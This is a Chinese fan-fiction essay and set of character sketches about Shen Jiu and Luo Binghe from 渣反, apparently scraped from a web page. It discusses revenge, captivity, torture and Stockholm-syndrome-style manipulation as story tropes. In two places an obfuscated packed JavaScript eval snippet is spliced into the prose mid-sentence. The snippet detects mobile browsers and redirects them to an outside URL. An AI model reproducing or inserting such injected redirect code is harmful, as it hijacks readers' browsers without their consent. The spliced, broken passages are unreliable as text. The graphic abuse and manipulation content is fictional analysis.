我是动漫入坑的,因为动漫更新太慢去晋江看了小说,接着找同人文。一开始是磕主cp,冰妹视角,冰妹重生视角,去掉吐槽后的视角——直到,看了一篇《再世为渣》,径直入坑冰九。 同人文是源于遗憾。因为太喜欢某本小说,更是喜欢其中的某个人物,为他们而忧伤,为他们而气愤。甚至幻想着,如果他提前知道了xx事情,未来是否会改变?悲惨结局能否改变? 即使,他是背景板。是一个只出现几集,或者几秒的回忆式人物。 我记得我第一次特别想改变的人物,是虹猫蓝兔七侠传里面的莎莉。明明是第三剑的正牌传人,却被人所害,沦为侍女。最后哪怕‘查明真相’,却也因此失去了剑心——就连七剑合璧之际,第三剑剑主,也不是她。 何其可惜,何其悲催,何其倒霉。 她为了练剑,吃了多少苦?为配得上 “七剑传人” 之名,又付出了多少? 她被人所害,意识混沌,却仍需日日随那害她之人,为其抵挡伤害,替她干杂事。偶尔的清醒,也是敌人为了获取秘籍而故意为之。乃至最后,即便真相大白,亦无法以 “七剑传人” 之身份,立于众人之前,讨回本该属于她的荣誉。 与沈九,多像啊。 一样的美强惨。 一样的背景板。 一样的,直到最后,都没能夺回,本就是自己的东西。 ———— 咳咳,这篇虽然出现了“冰九”,但实际上是“反冰九”。 根据评论的提示,我会把tag改成“反冰九”的。 ———— 我觉得沈九是一个蛮普通的正常人: 自幼命运多舛,后面好不容易当上了一峰之主,收了个自己看不上的龙傲天弟子。虽对其打压虐待,但是在以前的时候,学东西被老师折腾的,不在少数;也就是近现代才把学生地位提高,此前体罚、差遣、挨打受踹,都是很正常的事情。 而且若洛冰河非龙傲天主角,谁会在乎一个洛冰河呢? 修真界之中,如这般 “小角色” 数不胜数。被师傅不喜欢的、被师兄弟欺压的、被派遣到外围的外门弟子,有才华潜力却无人发掘者(千里马常有,而伯乐不常有!),数不胜数。 若洛冰河不是主角,这样的小人物,必被沈九压的死死的。或者说,会因为阶级、等级的巨大差额,被牢牢压制。哪里会允许一介不被重用的弟子,颠覆一峰之主,毁去整个门派? 而且,若不是洛冰河拥有魔族血脉,中间有个“梦魇”帮忙,洛冰河压根不会出现在仙盟大会。就算是出现了,估计也挨不到掉落悬崖,就被其他低等魔物给虐杀的不成样子了。 而且沈九的做法也不算多错。毕竟修仙界对于魔修的看法就是:魔族中人全部该死。 沈九将其打下悬崖,也算是变相给了他一条生路。崖底乃魔界之地,相当于送其归乡。此与 “放虎归山” 何异?此般作为,还不够仁慈吗? 至于沈九未尽师傅之责。拜托!在洛冰河敬酒的时候,沈九是直接拒绝的。 也就是说,沈九从未接过洛冰河之敬师茶,自是不承认其为弟子。对于一个不是自己弟子的人。不授心法,不施教学,有何不妥?毫无问题的嘛。 那沈九最大的错误大概就是:其一,耽误洛冰河寻得正确之师;其二,对洛冰河百般打压。 但是话又说回来了。如果洛冰河不是主角的话,接受这种待遇的人太多了。 世道如此,有能有才,欲托人办事,却未必求对之人。此人收礼,亦不代表定会办事。 更何况在沈九的心里,洛冰河始终不是自己的弟子。他也从来没有看得上过这个人啊,他从来都是觉得这玩意是个废物,这玩意是个畜生,是个满脸就写着愚蠢的恶毒家伙。 毕竟沈九也是那样的人。同类自然能第一时间识别并找到自己同类。 他深知自己非善类,至少不如岳清源那般一视同仁的老好人脾气。 他也知道自己只是伪装的仙风道骨,但骨子里的那些嫉妒与愤恨,是不可能通过一些事情就移除的。江山易改本性难移,除非抹去他的所有记忆,改换周遭所有,否则他的一举一动早已定型,怎么可能因身份升级而改变? 故沈九一眼便看出,洛冰河绝非普通意义之好人、善良之人。 所以说,如果洛冰河寻仇的话,沈九全然不惧,亦不觉有何不妥。毕竟他也是这么干的,要不然秋家咋灭的门?他干得,洛冰河如何干不得? 只不过沈九从未瞧得上洛冰河,视其为翻不出五指山的孙猴子,是个可轻易压制的废物,无需耗费额外精力。而这份‘轻视’,却成了他最后结局的回旋镖,狠狠扎在他的心口上,毁去了一切他所重视的东西。 这样的人,你说他有错吗?有啊,当然有。 只是,他真的罪大恶极,要用极为悲惨的一生来‘赎罪’吗? 而且吧。名字可能会起错,外号却从来不会叫错。 江湖之人,称沈九为 “君子剑”“修雅剑”。就算是以洛冰河的态度,觉得这玩意儿是个伪君子——但,‘伪君子’,在最后被揭穿之前,如何不是‘君子’? 这些所有,起码说明一点:沈九这个君子的外貌、君子的作风还是非常出色的。 而且平心而论,沈九做任何事情都是事出有因的。 他非绝对好人,亦非大恶之人。不过是一拥有悲惨童年、能轻易识别恶意、欲伪装成常人、心思稍多之常人罢了。 只不过谁让被他欺压的那个是主角呢?所以没办法,他既然站在了反派boss这个设定上。他就用天然的应该被主角打击。也同样,成为在原著中被当成沈垣的对立面。 毕竟。主角必然是真善美。 那留下一堆烂摊子的沈九,当然就要是,虚伪、丑陋、恶毒。 ———— 我一般不磕冰妹和沈九的cp。 蛮好理解哈,冷漠的师傅,是养不出温柔、黏人的弟子的。 沈九自己都没有体会、展示过温柔体贴,还能指望弟子能学到? 就算是被沈九当成‘好用内门’的明帆,也是一脸倒贴+工具,才哄得沈九欢心,让沈九愿意多看两眼。 如果是沈九+冰妹,结局压根不用想。 沈九不可能温柔,甚至温和都不可能。 冰妹又是个恨不得将人捆到身边的性子。 某种程度上,冰妹比冰哥可怕多了。冰哥要的是权势地位资源,冰妹要的是沈九的眼睛里只有他。 呃,其实也不是不可以。 但前提是,冰妹真的是妹子——比如宁嘤嘤? 所以最后的结果只能是两种: 要么沈九把这个敢惦记自己的玩意弄死; 要么冰妹发疯,仙魔大战即刻开战。 嗯,这么想想,确实蛮带感——他追,他厌恶;他带人杀来,他领兵作战。 好的,其实能写,而且还蛮有趣,记下来,之后开一个。 ———— 我写了太多冰九了。 双重生,单重生,后续发展,谁捡谁,谁穿谁,谁于小时候遇见谁。 也正因为开展太多,现在磕不下冰九。 写的最长的一篇,是目前还没删(没人看会删的)的《师尊,看看我》。就算是一开始兴致冲冲,后面写着写着也歪掉了。 至于歪掉的原因,后记里面啰里啰嗦写了一大堆,总结起来就两句: 九冰磕不下去的原因是,给沈九一个机会,他必毫不犹豫取冰哥性命。 冰九磕不下去的原因,是强者岂容他人 “怜悯”? 何为强者?是打碎全身骨头,将尊严压到泥潭深渊,也坚决不可能软弱投降的风骨。 ......... 沈九厌恶分桃断袖;龙傲天男主则是先‘他有我为什么没有’,继而爱而不得,转为强制爱。 如果冰哥不重生,仅沈九重生,结局几乎不会更改——沈九不可能如沈垣一样怀柔,说不定会更加作死,早早将冰哥得罪的彻底。若天道不帮忙,沈九绝对会弄死冰哥;天道帮忙,冰哥的成长期大大缩短,结局和原著几无差异。 如果沈九不重生,只让冰哥重生——emmmm,冰哥的强制爱会更快,而且绝对不是势均力敌。毕竟冰哥有心,沈九对他掉以轻心:‘这就是个被我压得死死的废物,天才又如何?未长成便亡之天才多矣,不差他一个’。 那剧情就成了:门下弟子胆大包天,强压师尊,且打遍天下无敌手。那师尊愤而怒起,终两败俱伤,怒而自尽。说不定弟子还会招魂之术,让自己师傅死都死不成,更心力交瘁。简直是人间惨剧,恨不能整个修真界共诛此‘大魔头’。 不是每个人都会爱上□□之徒。 起码沈九不会。 沈九童年,有被秋家少爷掳去亵玩之经历。故其比常人更敏感、更厌恶,反抗之力更强。 不过以沈九的性格,会因为苍穹山派服软,但绝不会‘爱’;而且以岳清源对沈九的重视,如果冰哥露了什么蛛丝马迹,恐怕整个苍穹山派会直接跟洛冰河对上,苍穹山派灭门的结局会更加提前。 想让沈九帮忙‘隐瞒’,只有一个可能:‘愧疚’或‘隐忍’。 此亦为众多冰九文中,冰哥用来“控制” 沈九之终极利器。 若沈九不重生,洛冰河于其眼中,乃 “曾瞧不上之废物,今有能复仇” 之角色,绝无可能生 “爱”。若非洛冰河连坐杀戮过多,甚至未必生 “恨”—— 毕竟沈九亦将秋家灭门,所以对被人找上门来报复,看得极开。 没有爱,也没有恨,沈九自己又对断袖厌恶至极。真被人压了,只会想着弄死对方。如果弄不死对方,可能会隐忍,隐忍不及会干脆弄死自己。如此之人,怎会对冰哥生情?纵有激烈情绪,亦只思如何杀之,恨不能灭其满门。绝无 “先剑后杀” 之念。 所以《渣反.沈九.再世为渣》里面,沈九重生之后,只想着怎么弄死那个畜生;在得知弄不死之后,只想着赶紧把这个‘烫手山芋’扔出去。他没有上帝视角,在其眼中,洛冰河=未来的灭门仇人,杀不死就赶出去,正好柳清歌想要他很久了,那就扔给他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145979|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后面的巧合,把他拉入梦境的时候,沈九心里是想着让洛冰河死于梦境的。天道不许沈九杀,但若洛冰河死于魔物呢?此可怨不得己。 只不过他看到‘相同经历’的时候,到底是于心不忍:虽知其未来如何,可此刻他乃手无缚鸡之力之孩童。总不能因他未来杀己,便真放任其困于梦魇。 当然,一个人长大之后,见与己经历相似之人,想要帮助的那个人,未必真为此刻之人。更多的,乃是想拯救昔日的自己: 如果,如果当初有人拉自己一把,那该多好啊。至于自己救的这个,会不会未来杀了自己,那就再说吧。反正,现在的他,被过往触动,只想救他!(我说的是同人‘再世为渣’的情节,并非原文的情节——再世为渣真的超好看,强推) 以沈九的性格,自然不可能和宁樱樱一样去‘讲大道理’,也不可能和沈垣一样说什么‘相信自己,你是主角!’的虚话。 沈九只会用自己的经验告诉他:“此皆成功前之挫折,日后你必成功,届时将这些人尽杀之!他们此刻欺你又如何,迟早一日,他们皆会如狗般,跪于你前,只求你勿杀之。” 毕竟,沈九当年熬过来了,杀了秋家少爷,灭了秋家恶奴。 至于街道一起乞讨的难兄难弟?反正他们已如此,亦不会更苦,且活不久矣,罢了。若欲 “刺激” 他们,只需身着体面,赏些馒头零钱,便足以令他们抓心挠腮。 沈九与岳七不同,岳七或许还想着‘照看’他们一二,沈九能不回去打他们一顿就不错了。 熬过去的沈九,现在是清静峰之主沈清秋。所以他可以理直气壮的对过往的自己说一句:“熬下去,挺过去,你拥有未来。” 当然,洛冰河也熬过去了。他最后不仅杀了苍穹山派满门,更是把罪魁祸首沈清秋囚禁,动宥鞭打,随时泄恨。将沈清秋在乎之人一一弄死,送至沈清秋面前,令其道心破碎,走火入魔,生不如死。 所以,沈九对曾经自己所说的,恰巧,还真能助‘洛冰河’脱困。 有趣吧。 这就是两个人之间最大的魅力——绝非那些莫名其妙爱上,因一两句讨好或折磨,沈九就立刻缴械投降,将自己爱情奉上,任洛冰河拿捏把玩。 如此之人,不可用 “怜悯” 羞辱。更不能,用女频常用的,‘补偿’来打动。 呃,具体的那些,我在另一篇冰九后面都一一吐槽过了,虽然没啥热度,但渣作者自己挺爽,这边就不赘述了。 某种意义上,沈九与冰哥乃同类之人。只冰哥比沈九多 “男主” 配置,更得天道宠爱。而沈九,虽杀出千军万马,却难逃 “被打脸之反派 boss” 角色。 沈九重生之后,对冰哥有愤怒、怨恨、恐惧及一丝愧疚。当然,沈九的愧疚乃对苍穹山派其他人。毕竟他人无错,只是倒霉,身处苍穹山派,被卷入此事,做了那被殃及的池鱼。 另外,或许沈九还有一丝心疼。当然,这个心疼是针对自己的。若自己亦得天道宠爱,或天道没有那么宠爱洛冰河,沈九亦可成 “幼年凄惨,后拜入苍穹山派,为一峰之主,收几弟子养着玩” 之成功人士。 ———— 嗯。怎么说呢,个人感觉,沈九这个人物,比沈垣还有趣。 磕沈九,比看原文还过瘾。 为了这个人物写同人,是件涌在心中、不得不发的事情。 即便这篇没一个人看,渣作者本人,是一定要写完的。 搞得最后都不知道该打什么tag了,无所谓吧,有问题就直接提出,我会改的。啊,关于剧情的讨论可以多来点,毕竟一个人总是有疏漏的。(笑) ———— 冰哥真就输在性别上了,换成女冰那就是速通,毕竟九真的很厌男 ———— 笑死?如果冰妹是妹子,宁嘤嘤都得靠边站。毕竟宁嘤嘤有时候还闹小脾气呢,冰妹只要保证人在身边,连个脾气都不闹 —————— 沈九有错误的原因很奇怪 ———— emmm。我个人的理解是,在男频世界观里,沈九没有做错什么。但是身为暗黑流龙傲天,他是哪怕只是被人“看不起”,都要灭人全家的存在。所以,沈九的漠视,自然是要被打压的啦~(简直离谱) —————— —————— <冰九>他们一样坏 设:重生冰哥去勾栏瓦院捞九,一言不合妖精打架。冰哥用苍穹山其他人威胁九,没有记忆的九不相信,尝试逃跑后被惩罚。 冰哥入侵九的记忆,发现了九尝试拉洛冰河到自己地位,看洛冰河处于自己地位后会如何行事。冰哥:师尊,你不仅不想给弟子遮雨,还想让弟子与你一样掉坑呢。 冰哥代替岳七的身份,强行揽着九让他参与自己的一切。一方面将九带到自己身边,一边以雷霆手段打击所有反对的声音。 九:“欺师罔上、不知廉耻;武力弑杀、衣冠禽兽。” 冰哥:“师尊啊,弟子可是您亲自抢来的,又是您亲自教养。若论恶劣,您与我一样。而且呢,弟子偏就喜欢与弟子一般坏的您。 冰九> 25.冰哥与冰妹的区别 冰九:人物小传洛冰河(哥) 理论上,我该讨好上位者,接着借上位者倾注下来的目光,改善被人欺负的环境。毕竟,没有背景的人,需要借团体中强者之力,才能活的更好。 可,他讨厌我。厌恶我。明明当初是被他主动选中的,为什么却要剥夺我内门弟子的资格?更因为……从内门跌入外门,连句‘师尊’,都不能喊。 因为地位的改变,那些曾经低下头、卑微的对我笑过的人,觉得之前的‘讨好’太过丢人与尴尬,亲自、甚至带人欺负我。 天才若一直是天才,所有人只会对他尊敬有礼的称一句‘洛师兄’。可,若他被剥夺内门资格,被打落尘埃,被大师兄明帆让人强硬的、带着一头血水‘扔出’。天才?只是被人踩在脚下的,玩具罢了。 我不会原谅他。那个要求极高、讲究贼多、不给资源还要结果、不给指点还要成效;只要交上去的成果不合心意就会被无情打回,还从来吝啬于言语,半点评价也不曾给予、一丝解释也不曾出口的人。 即使他从没有原则性错误;即使他的地位凌驾于整个清静峰之上;即使他长得仙风道骨,一举一动都充满美感。 但。我总觉得他是故意的。要不然为什么非在拜师的时候一杯热茶砸过来,又剥夺我内门的资格,却不将我撵出去或者干脆杀死? 如果他真的对我不喜,为什么要将我‘选’到他身边?是想要放眼皮子底下看着吗?为什么不杀了我呢,明明这对他来说是举手之劳?随手一挥? 而且,他对谁都有表情。那些惹他生气的家伙,他都会对他有相应的表情,接着毫不留情的惩罚或扔出去。却唯独,对我视若罔闻、漠不关心。就好像,他什么也没看见,我整个人,在他眼中,隐形一般。 烦人。到底是被欺负更可怕,还是被上位者毫不在意的忽视更难忍受?那些乱七八糟之人的欺凌,到底有没有他的授意?他知晓清静峰内部的波涛汹涌吗? 算了。还是找机会弄死他吧。 —— 跌下悬崖、习得神功、夺取神器、一统魔界。我。做到了。 对待敌人,就该果断的斩草除根。将一切该打压的打压,该弄死的弄死。论功行赏之后,我开始了守卫疆土与处理琐事。 啊。当帝王久了,那些莺莺燕燕的勾心斗角、底下臣子的拉帮结派、孩童之间的权力碾压……实话说,有点无聊。 底下人来报,修真界的家伙们,又开始挑衅了。反正日子平平无奇,不如开疆辟土,正好转移一下心情。内部分歧的时候,对外征战,永远是最好的解决办法。 嗯。收获了一堆的阶下囚。其中,还有曾经的那个,让人恨的牙痒痒的家伙。带上锁链、满身血污、被困入牢笼,真是非常适合高高在上的你呢。 你的眼里有愤恨,有痛苦,有忍耐与压抑。但,却被锁链牢牢穿过琵琶骨、成为失去修为的废人。那张从不染风尘的脸,被血和汗所浸染;那从不弯曲的脊背,被强行打碎,压折。 真是十分完美的场景,像是做梦一般甜美呢。 你之前居高临下的看我,现在地位颠倒,变成遍体鳞伤的你,趴在地上看我。 你之前无视我,任人打压、欺辱我;现在轮到我找狱卒折腾你,真是天道好轮回。 之前你是玉树临风、名扬天下的正道君子,现在是无人问津、死了也没人谈论的囚犯。 当然啦,留你一命,从来不是因为什么‘念旧’,只是觉得不能让你死的太轻易而已。 不会主动求饶、只会不停咒骂、甚至询问其他人情况的唇舌,有张开的意义吗?既然没有,就无需存留。 一直不放弃逃跑、处心积虑偷摸离开的双腿,不折断;是想让他能完整、快速的离开吗? 尽管已经沦为废人,却还能凭借毫无灵力、内力的招式,抵挡伤害、打出生路的右臂,是否也不该继续留在肩膀? 嗯。果然,残缺的,才是美好嘛。 (去了《渣反》之后) 啊,那个废物凭什么?连心魔剑都控制不了的,连修真界都没打下来的,连两界都没合并的‘废物’冰妹,都有的东西。凭什么,我没有?气,很气啊。我不管,他有的我必须有,要不然就大家一起没有。 行吧。当我看到牢里那个残缺不全的玩意时,我觉得...嗯,有些东西,没有也无所谓。就是——别人也不能有!冰妹是吧?你等着,我现在就给你也‘打’碎了! 哦,过不去了。真心累。 并不呢,人生无聊,以为毁去定位就能让我离开?等着吧,不过是定位,一点时间就行了。 ——碎碎念—— 冰哥是个标准男频下的龙傲天。所以他对待敌人的看法就是:斩草除根。 去《渣反》之后有点想法,但不多。更多的是一种病态的‘上位者’就该什么都有。 冰九:人物小传洛冰河(妹) 早在入门的时候,我就察觉到上方三个仙人在争执什么。而其中一个目光,虽只是略微扫过,却一眼万年。青色的衣衫、挺拔的身姿、飘逸又严谨的动作,无不使人将目光倾注其中。 太阳高高的挂在天空之上,刺眼的阳光直透而来。他背着光,平稳的站在那里。身后是被光芒所笼罩的光晕与圆环。虽看不清脸,但阳光于他身上撒下一层璀璨光芒—— 那是被阳光赠予的光环。给他附上一层神明才有的、令人无法直视的光芒。他只要稍微勾一下唇角,压一下眼皮,高高在上的神明,就是那么的悲天悯人。 我的神明,于那一眼中,从神话故事中走出来。 ———— 大概是眼神太过炽热,也可能是表情过于露骨。我被一杯热茶狠狠的砸破额头,又在恍惚后得知——我,被除掉内门资格,打入外门。 而那些曾经对我笑容满面的弟子们,却像是看见了什么垃圾一样,疯狂欺凌、打压、派我干活。 弱肉强食,不仅是凡俗,原来修真界,也是如此。 我拼命的修炼,努力的交任务,却被无情打回,从不曾得那人一眼。 那人,竟连一眼,都不曾望过来。即使是无焦点的扫视,我也如同空气般,毫无存在感。 我将熬好的粥、捧在路边,却被他漠视、擦肩而过;我将日日夜夜、反复修改的作业上交,却被毫无评价的退回;我努力修炼、清理杂物,却从得不到夸奖。 终于,在一次魔族入侵时,我顶着对方满身是毒的攻击抵抗,却还是功亏一篑,只换来对方的评价“废物,丢脸”。 凭什么?为什么? 不知哪里来的力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151015|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,我将敌人击败。终于换得内门资格,换得喊那个人一句‘师尊’。 可有什么用呢。内门又如何?他的眼里,只有明帆,只有宁嘤嘤。 而宁嘤嘤实在是个天真的姑娘,利用他,很容易就能得到沈清秋的消息,也很容易……激怒明帆。当然,虽然之前这姑娘就对我极为照顾,现在……要更照顾一些才好啊。 ———— 激怒明帆的代价,有点大。 可惜,都闹成这样了,那人也无知无觉般,什么也没管。也可能,只要不出人命被人找上门来,只要不闹到外面被说‘管教不严’,他都无所谓吧。 那,要不要更激进一些?我曾误入的梦魇中,有个老头一直怂恿我用其他人修炼。之前觉得他们罪不至死,现在想想……就算是少了几个人,那人也不会在意的吧。 啊。他终于发现了,也终于……传召我了。真开心。虽然,在梦魇的帮助下他没查出什么,但他给我把脉,探我灵气了诶!我要好好修炼灵气,一定要打败明帆,夺取‘大师兄’的位置! 双湖城。许是他对我还没放松警惕,宁嘤嘤身上的玉佩,刻画着对魔族有克制作用的法阵。那个低等魔物原本不想对宁嘤嘤下手,害怕被灼烧;幸亏梦魇出手,将法阵遮盖住——一个水灵灵、没人庇护的天才少女,无论是做炉鼎还是夺舍,都是极好的选择。 他怒了。果然,宁嘤嘤是他的软肋。得知她遇难都如此生气,那我夺走、或者给他俩配个‘师徒恋’的风流韵事,是否会更加有趣? 梦魇与魔物一同出手,都没能留下他。也是,苍穹山派除柳清歌外的第二战力,举世无双的仙人,哪能跌在这里?只是,能看到他出手,这魔物,也算功德无量。 ———— 无尽深渊下,我觉得我的心死了。 知道他无情,却还是一次次被现实打击。这次,明明我是救了人——明帆自发奋勇的站出来,我当然也要站出来,还要比他救得更多! 可。魔气太多了,情况也太危险了。尤其是,魔气涌动之下,有些本能被压制住的东西,涌现出来了。 真是冷漠啊。竟连一丝解释的机会也不给我,就将我斩于剑下,丢入深渊。 我终于明白了。那个仙人,不是我的天神。他不会拉我出泥潭,也不会将目光倾注到我身上。 而,想得到他,唯有……让他与我一起,共陷黑暗。 虽然魔界还有很多事情要处理,但我忍不了了——我要立刻将那家伙拉下泥潭,让神明坠入深渊,让洁白的羽翅布满甩脱不掉的泥点。接着,再亲手为他洗干净尘埃,配他披上嫁衣,成为我的伴侣。 四派联审,我看到他似笑非笑的眼神。一句‘欲加之罪’,在秋海棠出现之后,彻底沉寂。 看吧,我还没怎么设计呢,你本并不清白,何必要作那高高在上的姿态?与我一同深陷黑暗,才是归途。 ——碎碎念—— 冰妹的性格其实不适合男频修真界。如果他没有气运护身,早就死在你争我夺、生死相拼之下了。 当然,他是主角,所以他可以装乖卖萌,可以黑化扭曲,可以如冰哥一般的强制爱。 冰哥是出于对敌的报复;冰妹的报复来源于求而不得 冰哥叫残酷,冰妹是变态(点头 26.冰X九、教导、强制爱分析 首先吧,相信各位绅士、淑女们都肯定看过开车文中的教导文。 所以呢,对于海棠之花大概是有一点点了解的哈。 那个海棠之花呢,虽然说他是开车比较多,但是也是有那么一点情节的。 首先,嗯,我们的小受是一位师尊。并且是一位曾经身居高位、以剑入道的师尊。 其次,他的真身是一块玉玺。 然后呢,他有一个生死之劫。 接着呢,嗯,控制这个玉玺的方法,是当初造他的那块玉的碎末。 所以说如果按照正常的流程,应该是把这个碎片找到,然后把那个碎末毁灭,接着再用各种天地造物来逃避和抵抗这个死结。 但是吧,具体流程大家都知道哈。 在这个过程中呢,基本上我们的这个亲爱的师尊呢,是丧失了理智,然后沉沦在玉海中。 虽然说,最后逃避了那个天地死结,但是,怎么不算是被破坏了人生呢? ———— 好的,下面我们可以模拟一下。 如果,真的想让冰九处cp…… 首先,失忆是可以的,但是失忆是有恢复的可能性的,只要恢复,沈九找到机会,那就一定会,弄死冰哥。 弄不弄得死不重要,重要的是,这条路很难搞啊—— ————做个假设吧———— 突然有一天你睁开眼睛。你的脑子里面闪过了一些不太美好的回忆,这个回忆包括并不限于:你的宗门被灭了,你被人囚禁了,你被人打虐了。 然后呢,灭你宗门、囚禁你的、打杀虐待你的,都是近些天来,跟你形影不离的、然后他说''你们是情侣的''那个人。 这个时候你有两个选择—— 1.质疑这个记忆是谁的阴谋,并怀疑有人想借你的手来害你的''伴侣''。 2.这个就是你曾经的过往,只是你之前不知道为什么失去了。现在你有大把机会弄死你最恨的人。(起码看起来仇人对你并不警惕) 无论是谁吧,首先他肯定会质疑一下这个记忆的由来。然后呢,他肯定会悄咪咪的做一些事情来验证,这个记忆到底是真的是假的。 那这个时候也有两个发展—— 1.确认了,这个记忆跟现实有点出入。(比如周围人都是冰哥安排的,第一时间发现不对劲,并一群人演戏忽悠他)可以确认,很有可能是有人给他设置的某些迷阵,想要利用它做些什么事情。 2.发现那些记忆中的事情跟现实都对得上。这个确实是自己缺失的记忆,或者说是上一辈子的记忆。 那这个时候就依然是两个后续—— 1.冰哥发现了这件事情。 2.冰哥没发现,但是沈九已经把他当成需要虚以委蛇弄死的仇人了。 但是这个事情吧,他的后续是很难写的。 冰哥发现了这件事情,然后他会怎么做呢: 是继续让沈九失忆吗? 还是伪装一下,彼此都虚伪的伪装一下? 沈九发现了冰哥对自己的''虚假'',所以他会不会脑子里面在想着: “为什么要趁自己失忆的时候,给自己进行这些,嗯温暖的、虚拟的、假象呢。” 甚至说他可能会脑子里面会再进一步的思考一下,想着: “我的失忆是不是你造成的?” “你给我制造这个温柔的陷阱是为了什么?” “你是想要看我的笑话吗?想要用这种方式再来打击我吗?” “还是说,你不会真的爱上了我吧?你这种恶心的人,居然会爱上我这种人渣吗?” “你恶不恶心啊?你是想要恶心死我吗?还是想要在那彼此恶心啊?” 反正无论是哪种结局到这里的时候基本上这个失忆,这个就不要想着能继续写下去了。 反正结局一定是两人分裂,然后大打出手。 ———— 所以。失忆是可以的,但是失忆的结局是不行的。 因为失忆,只要恢复了记忆,这件事情就一定没有办法写后续。 两人一定会大打出手(沈九单方面先动手)。 所以…… 那就,停在“失忆中”这一步。 比如,玉海沉沦。也就是……海棠之花的情况。 通过(调)教、道具的帮助下,压根不给他恢复记忆的可能,甚至不让他有清醒的可能。 当然,后续可以“恢复神智”,但是海棠之花里面,神智是恢复了、身体却习惯改不了。结果不过是更虐(受),为他人增添更多乐趣罢了。 但是吧,我是亲妈。我不是很喜欢这种情节……(专门的小说除外……毕竟总有那么几天,就是想看个……有点情节又有点肉肉的……清水文虽好,没有肉肉香而不腻啊) 我相信看那个海棠之花的、那本小说,除了专门看肉的,其他的可能对于这个,也不是很能接受。(毕竟身为红旗下、拥有正确三观的我们,都是希望事情变得更好,而不是把天才拉下神坛) 所以。我不是很希望沈九沉沦于情、欲之中,无法自拔。 ———— 所以……还有另一种,类似的。 学名:"斯德哥尔摩综合征" 指的是……嗯,被囚禁和受虐的一方。在受虐的途中,爱上了对自己施暴的那一方。 听起来是一个很诡异的症状哈。 但这个是有一点、一定的逻辑的。 ——还是打比方吧—— 假设你是一个被囚禁在某个黑暗屋子里的受害者。 首先,每天会有人拿鞭子打你一顿。 这个时候你对那个人肯定是特别想躲避的,害怕的。 但是由于你拥有着个人的本能,所以你本能的会饿、会冷、会想吃饭、会想排泄。 可是吧,你只拥有那么一间小屋子,甚至都没有灯光,你就算是想排泄,也不可能说,拉在自己的屋子里吧…… 再加上你平常是有受伤的呀,所以你的身体应该会非常的虚弱。 这个时候—— 如果说有一个人,他在特别黑暗的屋子里给你打开了一扇门,哪怕只有那么一丝。 你都会觉得你身处黑暗,然后你看到了光明。 如果说这个人还能够帮你解决吃饭啊、寒冷啊、治病啊,这些生理问题的话。 那这个人其实对于你当时来说,应该是属于天神的。 毕竟我们大家看的那么多小说,不都是说: 要在你最落魄的时候,给予你那么一丝丝的帮助嘛,哪怕只是你饿的快死的时候,给了你一碗米饭。 但是——在这个故事里面。 打你的,那个人, 和, 给你饭的,那个人, 是,同一个,人。 —— 你心里一边对他拥有着恐惧和想躲避; 一方面又忍不住的觉得: 他是黑暗中给你开门的人; 他是你饿的时候让你吃饭的人; 他是在你知道冷的时候给你添衣的人; 他是在你生病的时候给你涂药喂药的人。 这样矛盾的一个人。 在那样的环境之下。 其实,哪怕本身是很正常的人,在那种阴暗的环境下,也会很容易生病。 然后呢,你各种都修养的不够好。 然后又遇上那样一个非常矛盾的人。 这个时候你的心理出现问题也是很正常的吧? 所以说这个(受虐者)受虐的被害人、爱上施暴的人,也是可以理解的吧? ———— 按照本文里面的话,那就是。 冰哥没事让人“照顾”沈九,让沈九情绪崩溃,无力抵抗,但是还在濒死但没死的边缘徘徊。 这个时候,开始玩“救世主”那一套。 包括且不限于。 在他意识昏迷、浑身颤抖的时候,无意识喊“冷”的时候—— 给他喂杯温水。 (这个相当于是解决了他的生理和心理需求) 关到小黑屋里(好几天)发烂,然后没有人去理睬沈九,快要饿死的时候—— 将门打开,然后温柔的把他抱在床上。 (这个是解决了所有人类通病的——心理依赖感) 在沈九做梦,窝半老徐娘怀里寻求安慰的时候—— 将那个人换成冰哥;(就是让沈九去冰哥身上找安慰感,这玩意需要潜移默化,不过梦魇确实能办到——比如,一直以来的妹子都没脸,然后慢慢展现脸,最后露出来的,是冰哥的脸) 或者,冰哥和沈九神仙打架。(差不多是以梦境之中的欲、战胜现实的困苦,要不然怎么说是''醉生梦死''呢,如果睡一觉解决不了问题,那就睡两觉) 这些其实都属于是重压加甜枣。 是典型的收服人所用的手段。 嗯,基本上所有看后宫文、宅斗文的,应该都能理解。 反正就是给他人为制造一些困难,然后呢,再专门去这个困难的地方帮助他,以获得''救命恩人''这个光环。 有这个''救命恩人''的光环,在再加上我们普遍的都是滴水之恩、涌泉相报的,这个''知恩图报''的认知。 后面就很好发展了。 然后。如果想写的话,还可以写一些,呃,苦衷,来洗白。 ———— 当然,最重要的是。 这种写法是从根本上将一个人的心智进行收服的。 跟那种,''失忆之后恢复,一定会大打出手''的结局相比。 起码这种结局,他是一定有这个''恩情''在的,既然有这个''恩情''在,那么他俩之间其实是有一定的缓和的。 只要有这个缓和,在他俩之间没有那么的针锋相对,就不至于非要到你死我活的程度。 ——嗯,截止到目前,看起来都很好,没有问题,可以完美继续—— 但是吧,就算是他俩不是你死我活的程度, 那个家仇、门派之恨也是存在的呀。。 身为一个拥有着正确三观的人,我是真的不是很能理解——跟你有着那么大的血海深仇的隔阂之间,你俩。。咋能在一起。。 除非说。。 他俩关系缓和之后一起穿越了,然后回到了事情的最开始。 比如说回到了洛冰河刚刚上苍穹山派的时候。 